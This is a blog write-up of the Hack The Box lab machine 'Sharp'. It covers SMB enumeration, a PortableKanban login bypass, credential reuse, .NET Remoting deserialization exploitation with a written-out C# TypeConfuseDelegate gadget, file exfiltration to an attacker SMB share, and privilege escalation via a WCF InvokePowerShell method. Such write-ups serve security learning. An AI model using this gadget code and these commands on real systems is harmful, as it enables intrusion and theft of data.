Jan 01, 2021
Technical Writeup, Explaining my approach Solving Sharp machine From Hackthebox.
Machine Name : Sharp Domain Name : Sharp.htb IP Adress : 10.10.10.219 Creator : cube0x0 Difficulty : Hard Base Points : 40
As Always i start by adding the Target IP address into my /etc/hosts
file, Resolve Name Resolution issues, then i kick it with multiple nmap scans :
m3dsec@local:~/sharp.htb$ nmap -Pn -v -sV --min-parallelism 100 -oA nmap/nmap_tcp_simple_services 10.10.10.219 Nmap scan report for sharp.htb (10.10.10.219) Host is up (0.11s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 8888/tcp open storagecraft-image StorageCraft Image Manager Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 2m10s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-12-27T19:43:53 |_ start_date: N/A Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Regards my full scan, This time i used bvr0n's Port Scanner to pull all the other open ports, it was pretty fast compared to nmap.
m3dsec@local:~/sharp.htb$ python3 portscanner.py -u 10.10.10.219 ____ _ ____ | _ \ ___ _ __| |_ / ___| ___ __ _ _ __ _ __ ___ _ __ | |_) / _ \| '__| __| \___ \ / __/ _` | '_ \| '_ \ / _ \ '__| | __/ (_) | | | |_ ___) | (_| (_| | | | | | | | __/ | |_| \___/|_| \__| |____/ \___\__,_|_| |_|_| |_|\___|_| by @Taha El Ghadraoui @bvr0n -------------------------------------------------- Scanning Target: 10.10.10.219 Scanning started at:2021-01-01 12:45:07.235890 -------------------------------------------------- [+] Scanning All 65 535 TCP Ports.. [+] Port : 135 is open [+] Port : 139 is open [+] Port : 445 is open [+] Port : 5985 is open [+] Port : 8888 is open [+] Port : 8889 is open
After grabing those open ports i passed them to nmap for a full service discovery :
m3dsec@local:~/sharp.htb$ nmap -Pn -v -p 135,139,445,5985,8888,8889 -sC -sV -A -oA nmap/nmap_tcp_full_services 10.10.10.219 PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found_ 8888/tcp open storagecraft-image StorageCraft Image Manager 8889/tcp open mc-nmf .NET Message Framing Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 2m10s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-12-27T20:50:06 |_ start_date: N/A
Multiple services where discovered, but as a Penetration tester, SMB would be my low-hanging fruit to cut first.
Inspecting SMB, i noticed a Shared Folder that contain a portable version of kanban task management software.
m3dsec@local:~/sharp.htb$ smbmap -u '' -p '' -H 10.10.10.219 [+] IP: 10.10.10.219:445 Name: sharp.htb Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share dev NO ACCESS IPC$ NO ACCESS Remote IPC kanban READ ONLY m3dsec@local:~/sharp.htb$ smbclient \\\\10.10.10.219\\kanban Enter WORKGROUP\user's password: Anonymous login successful Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Nov 14 19:56:03 2020 .. D 0 Sat Nov 14 19:56:03 2020 CommandLine.dll A 58368 Wed Feb 27 08:06:14 2013 CsvHelper.dll A 141312 Wed Nov 8 13:52:18 2017 DotNetZip.dll A 456704 Wed Jun 22 20:31:52 2016 Files D 0 Sat Nov 14 19:57:59 2020 Itenso.Rtf.Converter.Html.dll A 23040 Thu Nov 23 16:29:32 2017 Itenso.Rtf.Interpreter.dll A 75776 Thu Nov 23 16:29:32 2017 Itenso.Rtf.Parser.dll A 32768 Thu Nov 23 16:29:32 2017 Itenso.Sys.dll A 19968 Thu Nov 23 16:29:32 2017 MsgReader.dll A 376832 Thu Nov 23 16:29:32 2017 Ookii.Dialogs.dll A 133296 Thu Jul 3 21:20:12 2014 pkb.zip A 2558011 Thu Nov 12 21:04:59 2020 Plugins D 0 Thu Nov 12 21:05:11 2020 PortableKanban.cfg A 5819 Sat Nov 14 19:56:01 2020 PortableKanban.Data.dll A 118184 Thu Jan 4 21:12:46 2018 PortableKanban.exe A 1878440 Thu Jan 4 21:12:44 2018 PortableKanban.Extensions.dll A 31144 Thu Jan 4 21:12:50 2018 PortableKanban.pk3 A 2080 Sat Nov 14 19:56:01 2020 PortableKanban.pk3.bak A 2080 Sat Nov 14 19:55:54 2020 PortableKanban.pk3.md5 A 34 Sat Nov 14 19:56:03 2020 ServiceStack.Common.dll A 413184 Wed Sep 6 12:18:22 2017 ServiceStack.Interfaces.dll A 137216 Wed Sep 6 12:17:30 2017 ServiceStack.Redis.dll A 292352 Wed Sep 6 12:02:24 2017 ServiceStack.Text.dll A 411648 Wed Sep 6 04:38:18 2017 User Guide.pdf A 1050092 Thu Jan 4 21:14:28 2018 10357247 blocks of size 4096. 7940080 blocks available
On heavy folders like this, to avoid connection issues (timeouts), Instead of downloading files directly, i like to mount the whole folder
m3dsec@local:~/sharp.htb$ sudo mkdir /mnt/data [sudo] password for user: m3dsec@local:~/sharp.htb$ sudo mount -t cifs -o rw,guest,vers=2.0 //10.10.10.219/kanban /mnt/data m3dsec@local:~/sharp.htb$ ls /mnt/data CommandLine.dll Itenso.Rtf.Converter.Html.dll MsgReader.dll PortableKanban.cfg PortableKanban.pk3 ServiceStack.Interfaces.dll CsvHelper.dll Itenso.Rtf.Interpreter.dll Ookii.Dialogs.dll PortableKanban.Data.dll PortableKanban.pk3.bak ServiceStack.Redis.dll DotNetZip.dll Itenso.Rtf.Parser.dll pkb.zip PortableKanban.exe PortableKanban.pk3.md5 ServiceStack.Text.dll Files Itenso.Sys.dll Plugins PortableKanban.Extensions.dll ServiceStack.Common.dll 'User Guide.pdf'
On a windows instance, PortableKanban.exe
asked about credentials, i had to bypass the login prompt, for that i modified on PortableKanban.pk3
, to leave the <REDACTED>
user with no password, then replace PortableKanban.pk3.md5
content with a new Generate md5 value based on PortableKanban.pk3
.
m3dsec@local:~/sharp.htb/files/smb/kanban$ cat PortableKanban.pk3|grep -Ei "Name|EncryptedPassword" "Name": "Demo", "Name": "<REDACTED>", "EncryptedPassword": "k+**************RC7/rg==", "Name": "<REDACTED>", "EncryptedPassword": "Ua**************+tqwLA==", m3dsec@local:~/sharp.htb/files/smb/kanban$ cat PortableKanban.pk3|grep -Ei "Name|EncryptedPassword" "Name": "Demo", "Name": "<REDACTED>", "EncryptedPassword": "", "Name": "<REDACTED>", "EncryptedPassword": "Ua*************+tqwLA==",
Then i simply logged in as an Administrator with an empty password, and Harvested other users credentials within the application:
Going Back To SMB, we reused the credentials we found within kanban app, to access other Shared folders, dev
folder for example :
m3dsec@local:~/sharp.htb$ smbmap -H 10.10.10.219 -u <REDACTED> -p <REDACTED> [+] IP: 10.10.10.219:445 Name: sharp.htb Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share dev READ ONLY IPC$ READ ONLY Remote IPC kanban NO ACCESS
Inspecting dev
Shared folder, revealed 2 binaries and a note file
m3dsec@local:~$ smbclient -U <REDACTED> \\\\sharp.htb\\dev Enter WORKGROUP\<REDACTED>'s password: <REDACTED> Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jan 1 09:36:53 2021 .. D 0 Fri Jan 1 09:36:53 2021 Client.exe A 5632 Sun Nov 15 11:25:01 2020 mine.zip A 11598452 Fri Jan 1 09:35:30 2021 notes.txt A 70 Sun Nov 15 14:59:02 2020 RemotingLibrary.dll A 4096 Sun Nov 15 11:25:01 2020 Server.exe A 6144 Mon Nov 16 12:55:44 2020 10357247 blocks of size 4096. 7940101 blocks available m3dsec@local:~/sharp.htb/files/smb/dev$ cat notes.txt ;echo Todo: Migrate from .Net remoting to WCF Add input validation
From the user notes, we know that there is a .NET remoting service deployed somewhere, also its seems like there is no user input validation, wich is pretty fucked up if u ask me, this might be vulnerable.
Going back to our 2 binaries, i had to decompile them, lucky they were written in C#.
m3dsec@local:~/sharp.htb/files/smb/dev$ file Client.exe Client.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
U might ask yourself, why C# is easier to decompile into source code ? I would say that C# contains meta-data and most C# code must comply with a set of rules called "verifiable code", basicaly its compiled to CIL (Common Intermediate Language), Typically, a lot more information about the original source code, such as object oriented concepts including class structure, can be gleaned from reading the CIL.
For This i used AvaloniaILSpy, The ILSpy version in linux.
Looking at the source code of both the client and server binaries, We can understand that we have a simple client/server Remoting-based application, that communicate with each other.
Inside Client.exe
, within Client class, we can spot the Main() method, that include a .Net Remoting endpoint, with its credentials.
// C# // RemotingSample.Client using RemotingSample; using System; using System.Collections; using System.Runtime.Remoting.Channels; using System.Runtime.Remoting.Channels.Tcp; internal class Client { private static void Main(string[] args) { //IL_0000: Unknown result type (might be due to invalid IL or missing references) //IL_000b: Expected O, but got Unknown ChannelServices.RegisterChannel((IChannel)(object)new TcpChannel(), true); IDictionary channelSinkProperties = ChannelServices.GetChannelSinkProperties((object)(Remoting)Activator.GetObject(typeof(Remoting), "tcp://localhost:PORT/<REDACTED>")); channelSinkProperties["username"] = "<REDERACTED>"; channelSinkProperties["password"] = "<REDERACTED>"; } }
Having this in mind, and knowing that the server doesn't validate the user input, We came across two critical bugs that allow remote attackers to execute arbitrary code on the vulnerable host, CVE-2014-4149 and CVE-2014-1806, Several POCs where already disclosed publicly.
After Compling the Exploit, i had a limited code execution (upload, download, list directories), i couldn't spawn a reverse shell in any manner, i tried different methods but non of them worked.
ExploitRemotingService.exe -v -useser -s --user=debug --pass=<REDACTED> tcp://10.10.10.219:PORT/<REDACTED> ls c:\ Listing c:\ directory <DIR> $AV_ASW <DIR> $Recycle.Bin <DIR> Documents and Settings <DIR> FFOutput <DIR> Games <DIR> Intel <DIR> OpenSSH-Win64 <DIR> PerfLogs <DIR> Program Files <DIR> Program Files (x86) <DIR> ProgramData <DIR> python27-x64 <DIR> System Volume Information <DIR> Temp <DIR> Users <DIR> Windows aow_drv.log - Length 12940738 bootmgr - Length 404250 BOOTNXT - Length 1 hiberfil.sys - Length 3392229376 pagefile.sys - Length 1610612736 swapfile.sys - Length 268435456
Some of my colleagues, said they managed to spawn a reverse shell using the raw feature shipped with the same exploit itself, some of them didn't, i didn't, and this is where onur and donthackmybox hints showed me a better way (thanks you guys), by modifying on the client.exe source code, but instead of using the Remote shared library we use our own shared object, using the gadget at muffsec post.
Im not willing to disclose the exploit source code, untill the machine get retired, but im sure u can deal with it
// C# using System; using System.Collections; using System.Runtime.Remoting.Channels; using System.Runtime.Remoting.Channels.Tcp; using RemotingSample; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.IdentityModel.Tokens; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.Serialization; using System.Security.Claims; using System.Text; // https://www.c-sharpcorner.com/article/remoting-in-C-Sharp/ namespace RemotingSample { public class Remoting : MarshalByRefObject { // Our Remoting Class } } // http://muffsec.com/blog/?p=585 namespace SessionSecurityTokenGadget { class Program { static void Main(string[] args) { // we don't need this part /* SessionSecurityToken gadget = SessionSecurityTokenGadget("calc"); byte[] initialObjectBuffer = new byte[0x1000]; MemoryStream stream = new MemoryStream(initialObjectBuffer); DataContractSerializer serializer = new DataContractSerializer(gadget.GetType()); serializer.WriteObject(stream, gadget); byte[] finalObjectBuffer = new byte[stream.Position]; Array.Copy(initialObjectBuffer, finalObjectBuffer, stream.Position); stream = new MemoryStream(finalObjectBuffer); serializer.ReadObject(stream);*/ // https://www.c-sharpcorner.com/article/remoting-in-C-Sharp/ // initiate a new connection // select a channel // register the channel // register a remote object // Our payload goes here } public static SessionSecurityToken SessionSecurityTokenGadget(string cmd) { // - Create new ClaimsIdentity and set the BootstrapConext // - Bootrstrap context is set to to the TypeConfuseDelegateGadget from // ysoserial and is of Type SortedSet<string> // - The TypeConfuseDelegateGadget will execute notepad ClaimsIdentity id = new ClaimsIdentity(); id.BootstrapContext = TypeConfuseDelegateGadget(cmd); // - Create new ClaimsPrincipal and add the ClaimsIdentity to it ClaimsPrincipal principal = new ClaimsPrincipal(); principal.AddIdentity(id); // - Finally create the SessionSecurityToken which takes the principal // in its constructor SessionSecurityToken s = new SessionSecurityToken(principal); // - The SessionSecurityToken is serializable using DataContractSerializer // - When it gets deserialized the BootstrapContext will get deserialized // using BinaryFormatter, which is more powerful from an attackers // perspective, and will not be subject to any kind of whitelisting. // In this sense it a "bridge" from DataContractSerializer to // BinaryFormatter // - This will cause an exception to be thrown when the BootstrapContext // is deserialized, but we still get the command execution: // Unhandled Exception: System.InvalidCastException: Unable to cast // object of type 'System.Collections.Generic.SortedSet`1[System.String]' // to type 'System.IdentityModel.Tokens.BootstrapContext' return s; } //https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TypeConfuseDelegateGenerator.cs // thanks guys! public static SortedSet<string> TypeConfuseDelegateGadget(string cmd) { Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = Comparer<string>.Create(d); SortedSet<string> set = new SortedSet<string>(comp); set.Add("cmd"); set.Add("/c " + cmd); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func<string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); return set; } } }
Compiling our new client, running the binary give us a reverse shell as user <REDACTED> on our Target Host:
Once inside, we start enumerating, We can easily spot an other project owned by user <REDACTED>.
for further analysis i had to compress the project, transfer it back to my local host
On my Local host, i opened a new smb share with the same username that im sending files from (the Target host does not allow anonymous login, security policy), to receive the files:
m3dsec@local:~/sharp.htb/files/$ sudo impacket-smbserver SHARE . -smb2support -user <REDACTED> -password Password@123 [sudo] password for user: Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed
On the Target Host, i compressed the project, stored my credentials then send it back to my machine :
C:\Users\<REDACTED>\Documents> tar -c -f wcf.tar wcf C:\Users\<REDACTED>\Documents> dir Volume in drive C is System Volume Serial Number is 7824-B3D4 Directory of C:\Users\<REDACTED>\Documents 12/31/2020 11:31 PM <DIR> . 12/31/2020 11:31 PM <DIR> .. 11/15/2020 01:40 PM <DIR> wcf 12/31/2020 11:31 PM 31,597,056 wcf.tar 1 File(s) 31,597,056 bytes 3 Dir(s) 32,436,961,280 bytes free C:\Users\<REDACTED>\Documents> NET USE \\10.10.14.162\SHARE /USER:<REDIRECTED> Password@123 /PERSISTENT:YES The command completed successfully. C:\Users\<REDACTED>\Documents> copy C:\Users\<REDACTED>\Documents\wcf.tar \\10.10.14.162\SHARE\files\wcf.tar
Inspecting client.cs
Source code, we can see a new URI wiche uniquely identify a different Endpoint, now the project name "WCF" make a lot of sense.
using RemotingSample; using System; using System.ServiceModel; namespace Client { public class Client { public static void Main() { ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>( new NetTcpBinding(SecurityMode.Transport),"net.tcp://localhost:PORT/<REDACTED>" ); IWcfService client = channelFactory.CreateChannel(); Console.WriteLine(client.GetDiskInfo()); Console.WriteLine(client.GetCpuInfo()); Console.WriteLine(client.GetRamInfo()); } } }
So what is WCF ? WCF short for Windows Communication Foundation, a platform that simplify the developement of services oriented applications, we can simply say its a successor to remoting.
On the above code, System Provided Binding "NetTcpBinding" specify how we are connecting with the vulnerable endpoint (we dont know if its vulnerable yet, but obviously) then we have IWcfService client = channelFactory.CreateChannel();
that define a new object called Client
byitself that Invoke some other particular methods.
Going back to RemotingLibrary.cs
:
// C# using System; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.ServiceModel; using System.Text; namespace RemotingSample { [ServiceContract] public interface IWcfService { [OperationContract] string GetUsers(); [OperationContract] string GetDiskInfo(); [OperationContract] string GetCpuInfo(); [OperationContract] string GetRamInfo(); [OperationContract] string InvokePowerShell(string scriptText); } public class RemotingMethods { public string GetCpuInfo() { throw new NotImplementedException(); } public string GetDiskInfo() { throw new NotImplementedException(); } public string GetRamInfo() { throw new NotImplementedException(); } public string GetUsers() { throw new NotImplementedException(); } public string InvokePowerShell(string str) { throw new NotImplementedException(); } } public class Remoting : IWcfService { public string GetDiskInfo() { Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript("Get-WmiObject -Class win32_logicaldisk | ft DeviceID, @{Name='Free(GB)';e={$_.FreeSpace /1GB}}, @{Name='Total(GB)';e={$_.Size /1GB}} -AutoSize"); pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } return stringBuilder.ToString(); } public string GetCpuInfo() { Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript("Get-WmiObject -Class win32_computersystem | fl @{Name='Physical Processors';e={$_.NumberofProcessors}} ,@{Name='Logical Processors';e={$_.NumberOfLogicalProcessors}}"); pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } return stringBuilder.ToString(); } public string GetRamInfo() { Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript("Get-WmiObject -Class win32_operatingsystem | fl @{Name='Total Memory(GB)';e={[math]::truncate($_.TotalVisibleMemorySize /1MB)}}, @{Name='Free Memory(GB)';e={[math]::truncate($_.FreePhysicalMemory /1MB)}}"); pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } return stringBuilder.ToString(); } public string GetUsers() { Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript("(Get-LocalUser).name"); pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } return stringBuilder.ToString(); } public string InvokePowerShell(string scriptText) { Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(scriptText); pipeline.Commands.Add("Out-String"); Collection <PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } return stringBuilder.ToString(); } } }
We can clearly see what functionality the service offer based on the contracts "IWcfService interface", and most of the time, the contract is where the bugs are found, and InvokePowerShell()
is clearly what we are looking for.
Based on the above analysis, I only had to Invoke Powershell with my payload inside the Client class, compile it, Send it To the target Host and execute it to Get a Reverse Shell as System.
Personaly i learned something new from this box, as Hackthebox always fascinate us with real scenarios, thanks again to Cube0x0 who took the time, to create such an amazing box.